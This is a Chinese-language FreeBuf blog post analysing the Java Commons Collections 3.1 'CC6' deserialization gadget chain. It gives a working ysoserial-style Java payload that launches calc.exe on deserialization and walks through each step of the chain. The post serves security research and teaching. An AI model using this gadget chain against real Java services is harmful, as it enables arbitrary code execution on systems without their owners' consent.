freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CommonsCollections6 (CC6链)分析
2022-04-20 14:07:15
所属地 广东省


CommonsCollections6 (CC6链)

说明

导入依赖

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

利用链

HashSet.readObject()
HashMap.put()
 HashMap.hash()
    TiedMapEntry.hashCode()
       TiedMapEntry.getValue()
          LazyMap.get()
             ChainedTransformer.transform()
  ConstantTransformer.transform()
        InvokerTransformer.transform()

ysoserial简化后的payload

package com.ysoserial;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonCollections6 {
public static void main(String[] args) throws IOException, ClassNotFoundException {


   Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{
           new ConstantTransformer(Runtime.class),
           new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",new Class[0]}),
           new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
           new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc.exe"})
  });

   Map map=  LazyMap.decorate(new HashMap(),chainedTransformer);
   TiedMapEntry tiedMapEntry = new TiedMapEntry(map,1);

   HashSet hashSet = new HashSet();
   hashSet.add(tiedMapEntry);


   //序列化
   ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
   ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
   objectOutputStream.writeObject(hashSet);
   byteArrayOutputStream.flush();
   byte[] bytes = byteArrayOutputStream.toByteArray();


   //反序列化
   ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
   ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
   objectInputStream.readObject();


}
public static void setFieldValue(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
   Field field1 = obj.getClass().getDeclaredField(field);
   field1.setAccessible(true);
   field1.set(obj,value);
}
}

分析正文

source是HashSet的readObject()方法

1650506353_6260ba713ff82a2d0d4f1.png!small?1650506353591

最后的循环是依次将读取的对象放入HashMap,读取的对象是HashSet的元素

然后调用HashMap的put方法

image-20220420002703769

put方法又调用自身的hash方法,

image-20220420002741087

hash方法去调用k的hashCode方法,而k就是之前我们说过的读取对象,就是HashSet的元素,我们可以存入TiedMapEntry类的对象

HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);

所以他k.hashCode()实际就会去调用TiedMapEntry.hashCode方法

image-20220420003012331

他这个hashCode方法里又调用了自身的getValue方法

image-20220420003047211

所以我们在创建TiedMapEntry可以指定他的map属性为LazyMap,这样他就会去调用LazyMap的get的方法

image-20220420003208946

LazyMap的get方法又调用了transform方法,我们在创建LazyMap的时候可以指定他的factory为ChainedTransformer,这样就可以触发那条利用链,达到任意代码执行

分析结束

构造payload

执行

召唤神兽!

image-20220420003443536

# java # Java代码审计 # Java反序列化漏洞分析 # JAVA安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录